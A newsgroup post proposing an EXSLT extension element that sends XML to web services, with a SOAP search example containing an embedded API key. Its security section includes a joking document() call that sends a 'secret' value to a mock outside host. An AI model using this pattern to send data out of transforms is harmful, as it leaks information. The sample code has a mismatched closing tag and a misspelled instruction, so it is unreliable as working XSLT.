Request for new function "apply-webservice" in EXSLT 1.1
bernhard <[email protected]>
| Newsgroups | gmane.text.xml.xslt.extensions |
|---|---|
| Message-ID | <[email protected]> |
Hi all
I tried to push this into XSLT 2.0 standard but I couldn't convince
the W3C people. Michael Kay says this should be an extension-function before
it can make the way to XSLT standard.
I think this is the place form XSLT extensions. So I post it here.
----------------------------------------------------------------------
Element Syntax
<exsl:apply-webservice
href = { uri-reference }
encoding = { string }
omit-xml-declaration = { "yes" | "no" }
standalone = { "yes" | "no" }
doctype-public = { string }
doctype-system = { string }
cdata-section-elements = { qnames }
indent = { "yes" | "no" }
<-- Content: template -->
</exsl:apply-webservice>
The exsl:apply-webservice element is used to send a XML document to a
http resource an
receive a XML document that can be processed by XSLT.
With exsl:apply-webservice it is possible to connect to webservices like
SOAP, XML-RPC,...
Basicly it is a mechanism to send XML using the POST method to a
HTTP-Server and
get XML as return value.
In other words it sends XML to the the stdin of a CGI-Program and
receives the stdout
of the same CGI Process.
The content of the exsl:apply-webservice element is a template;
this is instantiated to create a sequence of nodes;
a root node is created with this sequence of nodes as its children;
the tree with this root node represents the subsidiary result document.
The href attribute specifies where the subsidiary document should be
stored;
it must be an absolute or relative URI; it must not have a fragment
identifier.
For example, the following would create a main result document
specifying an HTML
frameset with two frames, together with two subsidiary documents,
one for the contents of each frame:
If the URI does not describe a http resource, but a relative path to the
filesystem, there can
be things similar to named pipes that handel the query (can't remember
exactly but in
"system programming" at the univerity I heard about that things -
maybe somebody has more clue about that than I have).
EXAMPLE
========
<!-- this connects to google searchengine webservice an converts the
result to html -->
<xsl:stylesheet
version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/1999/xhtml"
xmlns:exsl="http://exslt.org/2005/1.1/common"
>
<xsl:param name="searchString"/>
<xsl:template match="/">
<xsl:variable name="google-result">
<exsl:apply-webservice href="http://api.google.com/search/beta2">
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/1999/XMLSchema">
<SOAP-ENV:Body>
<ns1:doGoogleSearch xmlns:ns1="urn:GoogleSearch"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<key xsi:type="xsd:string">kM1xqFHLpTc2lC2StK49OPkwPulNF</key>
<!-- here the payload goes to the SOAP Message -->
<q xsi:type="xsd:string"><xsl:value-of
select="$searchString"/></q>
<start xsi:type="xsd:int">0</start>
<maxResults xsi:type="xsd:int">10</maxResults>
<filter xsi:type="xsd:boolean">true</filter>
<restrict xsi:type="xsd:string"></restrict>
<safeSearch xsi:type="xsd:boolean">false</safeSearch>
<lr xsi:type="xsd:string"></lr>
<ie xsi:type="xsd:string">latin1</ie>
<oe xsi:type="xsd:string">latin1</oe>
</ns1:doGoogleSearch>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
</xsl:apply-webservice>
</xsl:variable>
<xsl:apply-tempaltes select="$google-result" mode="design"/>
</xsl:template>
<xsl:template match="*" mode="design">
<table>
<xsl:for-each select="//item">
.....
</xsl:for-each>
</table>
</xsl:template>
-------------------------
There are lots of things not covered by this specification.
o encryption
o key management
o ...
The security of XSLT does not change. With the document function it is
already
possible to send data to the internet.
example:
document('http://www.kgb.ru/incoming/secrets.php?nameOfSpy=mr.spock')
-----------------------
Use Cases:
SOAP;
XML-RPC;
SAP Business Connector RFC-XML, BAPI-XML,...;
Business to Business communication;
JEP-0025: *Jabber* *HTTP* *Polling;*
<http://www.jabber.org/jeps/jep-0025.html>
...
=======================================
thanks for reading
Bernhard Zwischenbrugger
http://www.fh-stpoelten.ac.at